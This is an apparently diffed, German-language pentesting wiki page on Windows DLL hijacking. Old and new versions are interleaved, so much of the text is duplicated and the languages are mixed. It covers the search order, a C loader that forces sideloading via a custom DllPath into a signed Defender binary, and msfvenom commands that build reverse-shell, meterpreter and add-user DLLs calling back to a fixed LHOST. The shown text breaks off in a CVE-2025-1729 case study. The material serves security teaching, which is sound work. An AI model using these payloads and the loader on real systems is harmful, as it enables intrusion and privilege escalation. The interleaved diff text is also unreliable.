DLL Hijacking beinhaltet das Manipulieren einer vertrauenswürdigen Anwendung, sodass sie eine bösartige DLL lädt. Dieser Begriff umfasst mehrere Taktiken wie **DLL Spoofing, Injection, and Side-Loading**. Es wird hauptsächlich für Code-Ausführung, Persistenz und seltener für Privilegieneskalation eingesetzt. Obwohl hier der Fokus auf Eskalation liegt, bleibt die Methode des Hijackings je nach Ziel gleich.
|
||||
|
||||
### Häufige Techniken
|
||||
|
||||
Es werden mehrere Methoden für DLL Hijacking eingesetzt, wobei jede je nach DLL-Lade-Strategie der Anwendung unterschiedlich effektiv ist:
|
||||
Es werden mehrere Methoden für DLL Hijacking verwendet, deren Wirksamkeit vom DLL-Ladeverhalten der Anwendung abhängt:
|
||||
|
||||
1. **DLL-Ersetzung**: Austausch einer echten DLL gegen eine bösartige, optional unter Verwendung von DLL Proxying, um die Funktionalität der ursprünglichen DLL zu erhalten.
|
||||
2. **DLL-Suchreihenfolge-Hijacking**: Platzierung der bösartigen DLL in einem Suchpfad vor der legitimen, um das Suchmuster der Anwendung auszunutzen.
|
||||
3. **Phantom-DLL-Hijacking**: Erstellen einer bösartigen DLL, die von einer Anwendung geladen wird, in der Annahme, es handele sich um eine nicht vorhandene erforderliche DLL.
|
||||
4. **DLL-Umleitung**: Modifizieren von Suchparametern wie `%PATH%` oder `.exe.manifest` / `.exe.local`-Dateien, um die Anwendung auf die bösartige DLL zu lenken.
|
||||
5. **WinSxS DLL-Ersetzung**: Ersetzen der legitimen DLL durch eine bösartige im WinSxS-Verzeichnis, eine Methode, die oft mit DLL Side-Loading in Verbindung gebracht wird.
|
||||
6. **Relative Pfad DLL Hijacking**: Platzierung der bösartigen DLL in einem benutzerkontrollierten Verzeichnis mit der kopierten Anwendung, ähnlich den Techniken der Binary Proxy Execution.
|
||||
1. **DLL Replacement**: Ersetzen einer echten DLL durch eine bösartige, optional unter Verwendung von DLL Proxying, um die Funktionalität der Original-DLL zu erhalten.
|
||||
2. **DLL Search Order Hijacking**: Platzieren der bösartigen DLL in einem Suchpfad vor der legitimen DLL, indem das Suchmuster der Anwendung ausgenutzt wird.
|
||||
3. **Phantom DLL Hijacking**: Erstellen einer bösartigen DLL, die die Anwendung zu laden versucht, weil sie glaubt, dass eine benötigte DLL fehlt.
|
||||
4. **DLL Redirection**: Ändern von Suchparametern wie %PATH% oder .exe.manifest / .exe.local Dateien, um die Anwendung zur bösartigen DLL zu leiten.
|
||||
5. **WinSxS DLL Replacement**: Ersetzen der legitimen DLL durch eine bösartige Version im WinSxS-Verzeichnis, eine Methode, die oft mit DLL side-loading assoziiert ist.
|
||||
6. **Relative Path DLL Hijacking**: Platzieren der bösartigen DLL in einem vom Benutzer kontrollierten Verzeichnis zusammen mit der kopierten Anwendung, ähnlich zu Binary Proxy Execution-Techniken.
|
||||
|
||||
## Fehlende DLLs finden
|
||||
## Finden fehlender DLLs
|
||||
|
||||
Die häufigste Methode, um fehlende DLLs in einem System zu finden, besteht darin, [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) von Sysinternals auszuführen und **die folgenden 2 Filter** einzustellen:
|
||||
Die gebräuchlichste Methode, fehlende DLLs in einem System zu finden, ist das Ausführen von [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) aus den sysinternals und das **Setzen** der **folgenden 2 Filter**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
und nur die **Dateisystemaktivität** anzuzeigen:
|
||||
und danach nur die **File System Activity** anzeigen:
|
||||
|
||||
.png>)
|
||||
|
||||
Wenn Sie nach **fehlenden DLLs im Allgemeinen** suchen, lassen Sie dies einige **Sekunden** laufen.\
|
||||
Wenn Sie nach einer **fehlenden DLL in einer bestimmten ausführbaren Datei** suchen, sollten Sie **einen anderen Filter wie "Prozessname" "enthält" "\<exec name>" setzen, es ausführen und die Ereignisaufzeichnung stoppen**.
|
||||
Wenn du allgemein nach **fehlenden DLLs** suchst, lässt du das für einige **Sekunden** laufen.\
|
||||
Wenn du nach einer **fehlenden DLL in einem bestimmten Executable** suchst, solltest du **einen weiteren Filter wie "Process Name" "contains" "\<exec name>" setzen, das Programm ausführen und die Erfassung stoppen**.
|
||||
|
||||
## Ausnutzen fehlender DLLs
|
||||
## Exploiting Missing Dlls
|
||||
|
||||
Um Privilegien zu eskalieren, haben wir die beste Chance, wenn wir in der Lage sind, **eine DLL zu schreiben, die ein privilegierter Prozess versuchen wird zu laden** an einem **Ort, wo sie gesucht wird**. Daher werden wir in der Lage sein, **eine DLL in einem** **Ordner** zu **schreiben**, wo die **DLL vor** dem Ordner, in dem die **ursprüngliche DLL** ist (seltsamer Fall), oder wir werden in der Lage sein, **in einen Ordner zu schreiben, wo die DLL gesucht wird** und die ursprüngliche **DLL nicht in einem Ordner existiert**.
|
||||
Um Privilegien zu eskalieren, ist unsere beste Chance, eine DLL zu schreiben, die ein privilegierter Prozess zu laden versucht, an einem Ort, an dem sie gesucht wird. Daher können wir eine DLL in einen **Ordner** schreiben, in dem die **DLL vor** dem Ordner gesucht wird, in dem die **Original-DLL** liegt (ungewöhnlicher Fall), oder wir können in einen Ordner schreiben, in dem die DLL gesucht wird, während die Original-**DLL nirgendwo existiert**.
|
||||
|
||||
### DLL-Suchreihenfolge
|
||||
### Dll Search Order
|
||||
|
||||
**In der** [**Microsoft-Dokumentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **finden Sie, wie die DLLs spezifisch geladen werden.**
|
||||
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
||||
|
||||
**Windows-Anwendungen** suchen nach DLLs, indem sie einer Reihe von **vordefinierten Suchpfaden** folgen, die einer bestimmten Reihenfolge entsprechen. Das Problem des DLL Hijackings tritt auf, wenn eine schädliche DLL strategisch in einem dieser Verzeichnisse platziert wird, um sicherzustellen, dass sie vor der authentischen DLL geladen wird. Eine Lösung zur Vermeidung dessen besteht darin, sicherzustellen, dass die Anwendung absolute Pfade verwendet, wenn sie auf die benötigten DLLs verweist.
|
||||
Windows-Anwendungen suchen nach DLLs, indem sie einer Reihe vordefinierter Suchpfade in einer bestimmten Reihenfolge folgen. Das Problem von DLL Hijacking entsteht, wenn eine schädliche DLL strategisch in einem dieser Verzeichnisse platziert wird, sodass sie vor der authentischen DLL geladen wird. Eine Lösung, dies zu verhindern, ist sicherzustellen, dass die Anwendung absolute Pfade verwendet, wenn sie die benötigten DLLs angibt.
|
||||
|
||||
Sie können die **DLL-Suchreihenfolge auf 32-Bit**-Systemen unten sehen:
|
||||
Du kannst die **DLL search order on 32-bit** Systemen unten sehen:
|
||||
|
||||
1. Das Verzeichnis, aus dem die Anwendung geladen wurde.
|
||||
2. Das Systemverzeichnis. Verwenden Sie die [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) Funktion, um den Pfad dieses Verzeichnisses zu erhalten. (_C:\Windows\System32_)
|
||||
3. Das 16-Bit-Systemverzeichnis. Es gibt keine Funktion, die den Pfad dieses Verzeichnisses erhält, aber es wird durchsucht. (_C:\Windows\System_)
|
||||
4. Das Windows-Verzeichnis. Verwenden Sie die [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) Funktion, um den Pfad dieses Verzeichnisses zu erhalten. (_C:\Windows_)
|
||||
5. Das aktuelle Verzeichnis.
|
||||
6. Die Verzeichnisse, die in der PATH-Umgebungsvariable aufgeführt sind. Beachten Sie, dass dies nicht den pro-Anwendungspfad umfasst, der durch den **App Paths**-Registrierungsschlüssel angegeben ist. Der **App Paths**-Schlüssel wird nicht verwendet, wenn der DLL-Suchpfad berechnet wird.
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
Das ist die **Standard**-Suchreihenfolge mit **SafeDllSearchMode** aktiviert. Wenn es deaktiviert ist, steigt das aktuelle Verzeichnis auf den zweiten Platz. Um diese Funktion zu deaktivieren, erstellen Sie den **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode**-Registrierungswert und setzen Sie ihn auf 0 (Standard ist aktiviert).
|
||||
Das ist die **Standard**-Suchreihenfolge mit aktiviertem **SafeDllSearchMode**. Wenn dieser deaktiviert ist, rückt das aktuelle Verzeichnis an die zweite Stelle. Um diese Funktion zu deaktivieren, erstelle den Registry-Wert **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** und setze ihn auf 0 (standardmäßig aktiviert).
|
||||
|
||||
Wenn die [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) Funktion mit **LOAD_WITH_ALTERED_SEARCH_PATH** aufgerufen wird, beginnt die Suche im Verzeichnis des ausführbaren Moduls, das **LoadLibraryEx** lädt.
|
||||
Wenn die Funktion [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) mit **LOAD_WITH_ALTERED_SEARCH_PATH** aufgerufen wird, beginnt die Suche im Verzeichnis des ausführenden Moduls, das **LoadLibraryEx** lädt.
|
||||
|
||||
Beachten Sie schließlich, dass **eine DLL geladen werden könnte, indem der absolute Pfad angegeben wird, anstatt nur den Namen**. In diesem Fall wird diese DLL **nur in diesem Pfad gesucht** (wenn die DLL Abhängigkeiten hat, werden diese wie gerade nach Namen geladen gesucht).
|
||||
Beachte schließlich, dass **eine DLL auch über einen absoluten Pfad angegeben werden kann statt nur über den Namen**. In diesem Fall wird die DLL **nur in diesem Pfad** gesucht (wenn die DLL Abhängigkeiten hat, werden diese wie üblich nach dem Laden anhand ihres Namens gesucht).
|
||||
|
||||
Es gibt andere Möglichkeiten, die Suchreihenfolge zu ändern, aber ich werde sie hier nicht erklären.
|
||||
Es gibt weitere Möglichkeiten, die Suchreihenfolge zu beeinflussen, die hier nicht erklärt werden.
|
||||
|
||||
#### Ausnahmen bei der DLL-Suchreihenfolge aus den Windows-Dokumenten
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Bestimmte Ausnahmen von der standardmäßigen DLL-Suchreihenfolge sind in der Windows-Dokumentation vermerkt:
|
||||
Eine fortgeschrittene Möglichkeit, den DLL-Suchpfad eines neu erstellten Prozesses deterministisch zu beeinflussen, besteht darin, das DllPath-Feld in RTL_USER_PROCESS_PARAMETERS zu setzen, wenn der Prozess mit den nativen ntdll-APIs erstellt wird. Durch Angeben eines vom Angreifer kontrollierten Verzeichnisses hier kann ein Zielprozess, der eine importierte DLL per Namen auflöst (kein absoluter Pfad und ohne sichere Ladeflags), gezwungen werden, eine bösartige DLL aus diesem Verzeichnis zu laden.
|
||||
|
||||
- Wenn eine **DLL, die denselben Namen wie eine bereits im Speicher geladene hat**, gefunden wird, umgeht das System die übliche Suche. Stattdessen wird eine Überprüfung auf Umleitung und ein Manifest durchgeführt, bevor auf die bereits im Speicher befindliche DLL zurückgegriffen wird. **In diesem Szenario führt das System keine Suche nach der DLL durch**.
|
||||
- In Fällen, in denen die DLL als **bekannte DLL** für die aktuelle Windows-Version erkannt wird, verwendet das System seine Version der bekannten DLL sowie alle abhängigen DLLs, **ohne den Suchprozess durchzuführen**. Der Registrierungsschlüssel **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** enthält eine Liste dieser bekannten DLLs.
|
||||
- Sollte eine **DLL Abhängigkeiten haben**, wird die Suche nach diesen abhängigen DLLs so durchgeführt, als ob sie nur durch ihre **Modulnamen** angegeben wären, unabhängig davon, ob die ursprüngliche DLL über einen vollständigen Pfad identifiziert wurde.
|
||||
Kernidee
|
||||
- Baue die Prozessparameter mit RtlCreateProcessParametersEx und gib ein benutzerdefiniertes DllPath an, das auf deinen kontrollierten Ordner zeigt (z. B. das Verzeichnis, in dem dein dropper/unpacker liegt).
|
||||
- Erstelle den Prozess mit RtlCreateUserProcess. Wenn das Ziel-Binary eine DLL per Namen auflöst, konsultiert der Loader das bereitgestellte DllPath während der Auflösung, wodurch zuverlässiges sideloading möglich wird, selbst wenn die bösartige DLL nicht neben dem Ziel-EXE liegt.
|
||||
|
||||
### Privilegien eskalieren
|
||||
Hinweise/Einschränkungen
|
||||
- Dies beeinflusst den erstellten Kindprozess; es unterscheidet sich von SetDllDirectory, das nur den aktuellen Prozess betrifft.
|
||||
- Das Ziel muss eine DLL per Namen importieren oder mit LoadLibrary laden (kein absoluter Pfad und ohne Verwendung von LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs und hartkodierte absolute Pfade können nicht gehijackt werden. Forwarded exports und SxS können die Präzedenz verändern.
|
||||
|
||||
**Anforderungen**:
|
||||
Minimal C example (ntdll, wide strings, simplified error handling):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
- Identifizieren Sie einen Prozess, der unter **unterschiedlichen Privilegien** (horizontale oder laterale Bewegung) arbeitet oder arbeiten wird und **eine DLL** **fehlt**.
|
||||
- Stellen Sie sicher, dass **Schreibzugriff** für ein **Verzeichnis** verfügbar ist, in dem die **DLL** **gesucht wird**. Dieser Ort könnte das Verzeichnis der ausführbaren Datei oder ein Verzeichnis innerhalb des Systempfads sein.
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
Ja, die Anforderungen sind kompliziert zu finden, da **es standardmäßig seltsam ist, eine privilegierte ausführbare Datei ohne eine DLL zu finden** und es ist sogar **noch seltsamer, Schreibberechtigungen für einen Systempfad-Ordner zu haben** (standardmäßig können Sie das nicht). Aber in falsch konfigurierten Umgebungen ist dies möglich.\
|
||||
Falls Sie Glück haben und die Anforderungen erfüllen, könnten Sie das [UACME](https://github.com/hfiref0x/UACME) Projekt überprüfen. Auch wenn das **Hauptziel des Projekts darin besteht, UAC zu umgehen**, finden Sie dort möglicherweise einen **PoC** für ein DLL-Hijacking für die Windows-Version, die Sie verwenden können (wahrscheinlich müssen Sie nur den Pfad des Ordners ändern, in dem Sie Schreibberechtigungen haben).
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
Beachten Sie, dass Sie **Ihre Berechtigungen in einem Ordner überprüfen können**, indem Sie:
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Praktisches Einsatzbeispiel
|
||||
- Platzieren Sie eine bösartige xmllite.dll (die die erforderlichen Funktionen exportiert oder als Proxy für die echte DLL fungiert) in Ihrem DllPath-Verzeichnis.
|
||||
- Starten Sie ein signiertes Binary, von dem bekannt ist, dass es xmllite.dll per Namen nachschlägt, unter Verwendung der obigen Technik. Der Loader löst das Import über das angegebene DllPath auf und sideloads your DLL.
|
||||
|
||||
Diese Technik wurde in-the-wild beobachtet und treibt multi-stage sideloading chains an: ein initialer Launcher droppt eine Helper-DLL, welche dann ein Microsoft-signed, hijackable Binary mit einem custom DllPath startet, um das Laden der attacker’s DLL aus einem Staging-Verzeichnis zu erzwingen.
|
||||
|
||||
|
||||
#### Ausnahmen der DLL-Suchreihenfolge laut Windows-Dokumentation
|
||||
|
||||
Bestimmte Ausnahmen von der standardmäßigen DLL-Suchreihenfolge werden in der Windows-Dokumentation erwähnt:
|
||||
|
||||
- Wenn eine **DLL, die denselben Namen wie eine bereits im Speicher geladene Datei teilt**, gefunden wird, umgeht das System die übliche Suche. Stattdessen führt es eine Prüfung auf Umleitung und ein Manifest durch, bevor es auf die bereits im Speicher befindliche DLL zurückfällt. **In diesem Szenario führt das System keine Suche nach der DLL durch**.
|
||||
- Falls die DLL als eine **known DLL** für die aktuelle Windows-Version erkannt wird, verwendet das System seine Version der known DLL sowie alle abhängigen DLLs und **zeigt auf den Suchprozess**. Der Registry-Schlüssel **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** enthält eine Liste dieser known DLLs.
|
||||
- Sollte eine **DLL Abhängigkeiten haben**, wird die Suche nach diesen abhängigen DLLs so durchgeführt, als wären sie nur durch ihre **Modulnamen** angegeben, unabhängig davon, ob die ursprüngliche DLL durch einen vollständigen Pfad identifiziert wurde.
|
||||
|
||||
### Privilegien-Eskalation
|
||||
|
||||
**Voraussetzungen**:
|
||||
|
||||
- Identifizieren Sie einen Prozess, der unter **verschiedenen Privilegien** (horizontal or lateral movement) läuft oder laufen wird, dem **eine DLL fehlt**.
|
||||
- Stellen Sie sicher, dass für ein beliebiges **Verzeichnis**, in dem nach der **DLL** gesucht wird, **Schreibzugriff** vorhanden ist. Dieser Ort kann das Verzeichnis der ausführbaren Datei oder ein Verzeichnis im Systempfad sein.
|
||||
|
||||
Ja, die Voraussetzungen sind schwer zu finden, da **es standardmäßig irgendwie ungewöhnlich ist, eine privilegierte ausführbare Datei ohne eine DLL zu finden** und es noch **ungewöhnlicher ist, Schreibrechte in einem Systempfad-Ordner zu haben** (standardmäßig nicht möglich). Aber in fehlkonfigurierten Umgebungen ist dies möglich.\
|
||||
Falls Sie Glück haben und die Voraussetzungen erfüllen, können Sie sich das Projekt [UACME](https://github.com/hfiref0x/UACME) anschauen. Auch wenn das **Hauptziel des Projekts ist bypass UAC**, finden Sie dort möglicherweise einen **PoC** von einer Dll hijaking für die Windows-Version, den Sie verwenden können (vermutlich genügt es, den Pfad des Ordners anzupassen, in dem Sie Schreibrechte haben).
|
||||
|
||||
Beachten Sie, dass Sie Ihre **Berechtigungen in einem Ordner** folgendermaßen prüfen können:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
Und **überprüfen Sie die Berechtigungen aller Ordner im PATH**:
|
||||
Und **prüfe die Berechtigungen aller Ordner im PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Sie können auch die Importe einer ausführbaren Datei und die Exporte einer DLL mit folgendem Befehl überprüfen:
|
||||
Du kannst auch die Imports eines Executables und die Exports einer dll mit folgendem Befehl prüfen:
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Für eine vollständige Anleitung, wie man **Dll Hijacking ausnutzt, um Privilegien zu eskalieren** mit Berechtigungen zum Schreiben in einen **System Path-Ordner**, siehe:
|
||||
Für eine vollständige Anleitung, wie man **Dll Hijacking missbraucht, um Privilegien zu eskalieren** wenn man Schreibrechte in einem **Ordner im System-PATH** hat, siehe:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
writable-sys-path-+dll-hijacking-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Automatisierte Werkzeuge
|
||||
### Automatisierte Tools
|
||||
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) überprüft, ob Sie Schreibberechtigungen für einen Ordner im System-PATH haben.\
|
||||
Andere interessante automatisierte Werkzeuge zur Entdeckung dieser Schwachstelle sind **PowerSploit-Funktionen**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ und _Write-HijackDll._
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) wird prüfen, ob Sie Schreibrechte in einem Ordner innerhalb des System-PATH haben.\
|
||||
Weitere interessante automatisierte Tools, um diese Schwachstelle zu entdecken, sind **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ und _Write-HijackDll._
|
||||
|
||||
### Beispiel
|
||||
|
||||
Falls Sie ein ausnutzbares Szenario finden, wäre eine der wichtigsten Dinge, um es erfolgreich auszunutzen, **eine DLL zu erstellen, die mindestens alle Funktionen exportiert, die die ausführbare Datei von ihr importieren wird**. Beachten Sie jedoch, dass Dll Hijacking nützlich ist, um [von einem Medium Integrity Level auf High **(UAC umgehen)**](../../authentication-credentials-uac-and-efs/index.html#uac) oder von [**High Integrity auf SYSTEM**](../index.html#from-high-integrity-to-system)**.** Sie finden ein Beispiel dafür, **wie man eine gültige DLL erstellt** in dieser Dll Hijacking-Studie, die sich auf Dll Hijacking zur Ausführung konzentriert: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Darüber hinaus finden Sie im **nächsten Abschnitt** einige **grundlegende DLL-Codes**, die als **Vorlagen** nützlich sein könnten oder um eine **DLL mit nicht erforderlichen exportierten Funktionen** zu erstellen.
|
||||
Falls Sie ein ausnutzbares Szenario finden, ist eine der wichtigsten Voraussetzungen für einen erfolgreichen Exploit, eine dll zu erstellen, die mindestens alle Funktionen exportiert, die das ausführbare Programm daraus importieren wird. Beachten Sie außerdem, dass Dll Hijacking nützlich sein kann, um von Medium Integrity Level auf High zu eskalieren **(UAC umgehen)** ([../../authentication-credentials-uac-and-efs/index.html#uac](../../authentication-credentials-uac-and-efs/index.html#uac)) oder von [**High Integrity zu SYSTEM**](../index.html#from-high-integrity-to-system). Sie finden ein Beispiel dafür, **wie man eine gültige dll erstellt**, in dieser dll hijacking-Studie, die sich auf dll hijacking für die Ausführung konzentriert: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows).\
|
||||
Außerdem finden Sie im **nächsten Abschnitt** einige **grundlegende dll-Codes**, die als **Vorlagen** nützlich sein könnten oder um eine **dll mit zusätzlich exportierten, nicht benötigten Funktionen** zu erstellen.
|
||||
|
||||
## **Erstellen und Kompilieren von DLLs**
|
||||
## **Erstellen und Kompilieren von Dlls**
|
||||
|
||||
### **Dll Proxifying**
|
||||
|
||||
Im Grunde ist ein **Dll-Proxy** eine DLL, die in der Lage ist, **Ihren schädlichen Code auszuführen, wenn sie geladen wird**, aber auch **auszusetzen** und **zu arbeiten**, wie **erwartet**, indem sie **alle Aufrufe an die echte Bibliothek weiterleitet**.
|
||||
Grundsätzlich ist ein **Dll proxy** eine Dll, die beim Laden Ihren bösartigen Code ausführen kann, aber auch die erwartete Funktionalität bereitstellt, indem sie alle Aufrufe an die echte Bibliothek weiterleitet.
|
||||
|
||||
Mit dem Tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) oder [**Spartacus**](https://github.com/Accenture/Spartacus) können Sie tatsächlich **eine ausführbare Datei angeben und die Bibliothek auswählen**, die Sie proxifizieren möchten, und **eine proxifizierte DLL generieren** oder **die DLL angeben** und **eine proxifizierte DLL generieren**.
|
||||
Mit dem Tool [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) oder [**Spartacus**](https://github.com/Accenture/Spartacus) können Sie tatsächlich ein ausführbares Programm angeben und die Bibliothek auswählen, die Sie proxifizieren möchten, und eine proxifizierte dll generieren, oder die Dll angeben und eine proxifizierte dll generieren.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Get rev shell (x64):**
|
||||
**Hole rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Holen Sie sich einen Meterpreter (x86):**
|
||||
**Hole einen meterpreter (x86):**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Erstellen Sie einen Benutzer (x86, ich habe keine x64-Version gesehen):**
|
||||
**Erstelle einen Benutzer (x86 — ich habe keine x64-Version gesehen):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Dein eigenes
|
||||
|
||||
Beachte, dass in mehreren Fällen die Dll, die du kompilierst, **mehrere Funktionen exportieren muss**, die vom Opferprozess geladen werden, wenn diese Funktionen nicht existieren, kann die **Binary sie nicht laden** und der **Exploit wird fehlschlagen**.
|
||||
Beachte, dass in mehreren Fällen die Dll, die du kompilierst, **export several functions** muss, die vom victim process geladen werden. Wenn diese functions nicht existieren, wird die **binary won't be able to load** sie, und der **exploit will fail**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
@ -213,20 +306,20 @@ break;
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Fallstudie: CVE-2025-1729 - Privilegieneskalation mit TPQMAssistant.exe
|
||||
## Fallstudie: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
|
||||
|
||||
Dieser Fall demonstriert **Phantom DLL Hijacking** im TrackPoint Quick Menu von Lenovo (`TPQMAssistant.exe`), verfolgt als **CVE-2025-1729**.
|
||||
Dieser Fall demonstriert **Phantom DLL Hijacking** bei Lenovos TrackPoint Quick Menu (`TPQMAssistant.exe`), erfasst als **CVE-2025-1729**.
|
||||
|
||||
### Schwachstellendetails
|
||||
### Details zur Verwundbarkeit
|
||||
|
||||
- **Komponente**: `TPQMAssistant.exe` befindet sich unter `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
- **Geplanter Task**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` wird täglich um 9:30 Uhr im Kontext des angemeldeten Benutzers ausgeführt.
|
||||
- **Verzeichnisberechtigungen**: Schreibbar durch `CREATOR OWNER`, was lokalen Benutzern erlaubt, beliebige Dateien abzulegen.
|
||||
